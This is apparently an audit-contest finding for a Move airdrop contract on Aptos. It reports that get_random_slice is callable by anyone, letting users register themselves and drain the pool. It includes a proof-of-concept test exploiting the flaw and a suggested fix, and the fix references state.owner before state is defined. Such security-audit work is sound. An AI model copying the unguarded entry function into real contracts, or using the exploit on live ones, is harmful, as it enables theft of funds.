Beginner FriendlyGameFi
100 EXP
View results
Submission Details
Severity: high
Valid

Anyone can register as pizza lover and drain the pool

Root + Impact

Description

  • Normal behavior: Only the contract owner can register pizza lovers by calling register_pizza_lover, which checks ownership and then calls get_random_slice to assign a random amount. Users must be registered by the owner before they can claim their slice.

  • Issue: The get_random_slice function is marked as entry, making it directly callable by any user. This allows users to bypass the owner's registration control and register themselves for the airdrop, then immediately claim their slice without owner approval.

// sources/pizza_drop.move
#[randomness]
entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
let time = timestamp::now_microseconds();
let random_val = time % 401;
let random_amount = 100 + random_val; // 100-500 APT (in Octas: 10^8 smallest unit)
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}

Risk

Likelihood:

  • Any user can directly call get_random_slice as an entry function, completely bypassing the intended registration flow controlled by the owner.

  • Users will discover this vulnerability quickly since the function is callable and provides immediate benefit (self-registration for airdrop).

Impact:

  • Complete bypass of access control: unauthorized users can register anyone and drain the airdrop pool without owner consent.

  • Economic loss: the airdrop pool can be completely drained by malicious users before legitimate users (registered by owner) can claim their slices.

Proof of Concept

This test shows how a user can assign themself as eligible for the airdrop, and claim their slice:

#[test(deployer = @pizza_drop, user = @0x123, framework = @0x1)]
fun test_user_gets_himself_eligible(deployer: &signer, user: &signer, framework: &signer) acquires State, ModuleData {
use aptos_framework::timestamp;
use aptos_framework::aptos_coin;
// Initialize timestamp and APT for testing
timestamp::set_time_has_started_for_testing(framework);
let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
// Initialize the pizza drop module
init_module(deployer);
// Mint APT to deployer for funding
let funding_amount = 10000; // 0.001 APT in Octas
let deployer_coins = coin::mint<AptosCoin>(funding_amount, &mint_cap);
// coin::register<AptosCoin>(deployer);
coin::deposit<AptosCoin>(@pizza_drop, deployer_coins);
// Fund the pizza drop contract
let contract_funding = 10000; // 0.0001 APT
fund_pizza_drop(deployer, contract_funding);
// Register a user for the airdrop
let user_addr = signer::address_of(user);
// @audit Instead of having the owner register the user, the user registers himself
// register_pizza_lover(deployer, user_addr);
get_random_slice(user_addr);
assert!(is_registered(user_addr), 2);
debug::print(&utf8(b"User registered successfully"));
// @audit The user registered successfully and can claim his slice
let claimed_amount = get_claimed_amount(user_addr);
assert!(claimed_amount == 100, 3);
assert!(!has_claimed_slice(user_addr), 4);
// User claims their pizza slice
claim_pizza_slice(user);
// Verify claim was successful
assert!(has_claimed_slice(user_addr), 5);
debug::print(&utf8(b"User claimed their slice"));
// Clean up
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
}

Recommended Mitigation

Move the check that verify caller is owner in this function:

#[randomness]
- entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
+ entry fun get_random_slice(owner: &signer, user_addr: address) acquires ModuleData, State {
+ assert!(signer::address_of(owner) == state.owner, E_NOT_OWNER);
let state = borrow_global_mut<State>(get_resource_address());
let time = timestamp::now_microseconds();
let random_val = time % 401;
let random_amount = 100 + random_val; // 100-500 APT (in Octas: 10^8 smallest unit)
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}
Updates

Appeal created

bube Lead Judge 11 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can call `get_random_slice` function

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.